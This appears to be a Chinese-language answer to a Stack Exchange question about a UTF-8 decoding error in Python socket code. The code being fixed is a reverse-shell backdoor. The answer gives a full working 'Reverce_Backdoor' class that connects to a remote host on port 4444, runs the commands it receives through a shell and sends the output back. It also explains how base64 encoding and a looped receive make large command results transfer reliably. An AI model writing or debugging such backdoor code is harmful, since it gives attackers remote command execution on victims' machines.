Python socket使用JSON传输数据触发UTF-8解码报错求解

你遇到的报错和大容量传输失败是三个问题共同导致的：

• 编码错误：subprocess.check_output 返回的是系统原始字节流，Windows终端默认编码为GBK(CP936)，并非UTF-8，直接将原始字节传入json.dumps时，JSON序列化默认按UTF-8解码字节，遇到非UTF-8编码的字节（比如报错里的0x92）就会触发解码异常。
• 大容量传输失败：TCP是流式协议，不存在固定数据包边界，你原有接收逻辑只调用一次recv(1024)，单次最多只能读取1024字节内容，数据量超过这个值时会出现拆包，拿到不完整的JSON片段就直接解析，必然触发解析错误，根本无法传输大容量结果。
• 逻辑bug：原代码中循环外的connection.close()写错了对象名，正确写法应该是self.connection.close()。

注意：配套的控制端程序也需要使用相同的base64编解码、循环接收逻辑，否则两端协议不匹配无法正常通信

import json
import socket
import subprocess
import base64


class Reverce_Backdoor:
    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect((ip, port))

    def reliable_send(self, data):
        # 所有待传输内容统一转base64 ASCII字符串，彻底规避JSON序列化编码问题
        if isinstance(data, bytes):
            trans_data = base64.b64encode(data).decode('ascii')
        else:
            trans_data = base64.b64encode(data.encode('utf-8')).decode('ascii')
        json_data = json.dumps(trans_data)
        self.connection.send(json_data.encode('utf-8'))

    def reliable_receive(self):
        json_buffer = b""
        while True:
            try:
                chunk = self.connection.recv(1024)
                json_buffer += chunk
                # 尝试解析JSON，成功则说明数据已接收完整
                raw_data = json.loads(json_buffer.decode('utf-8'))
                # 解码base64还原原始内容
                return base64.b64decode(raw_data)
            except ValueError:
                # 未收到完整JSON包，继续读取缓冲区
                continue

    def execute_system_command(self, command):
        return subprocess.check_output(command, shell=True)

    def run(self):
        while True:
            command = self.reliable_receive().decode('utf-8')
            command_result = self.execute_system_command(command)
            self.reliable_send(command_result)
        self.connection.close()


if __name__ == "__main__":
    my_backdoor = Reverce_Backdoor("192.168.3.5", 4444)
    my_backdoor.run()

• 彻底解决编码报错：引入base64对所有待传输的原始字节做转码，base64输出为纯ASCII字符，完全符合JSON序列化要求，无论命令返回的是GBK编码内容、特殊二进制字节都能正常传输，不会再触发UTF-8解码错误。
• 支持大容量数据传输：接收逻辑改为循环读取socket缓冲区数据，持续拼接直到能解析出合法JSON结构为止，不再受单次recv(1024)的长度限制，几MB甚至更大的命令执行结果都能完整传输。
• 修正原有逻辑错误：修复了关闭连接时对象名写错的问题，避免触发属性异常；移除了多余的重复编码操作，避免二次编码导致的乱码问题。

内容的提问来源于stack exchange，提问作者Олег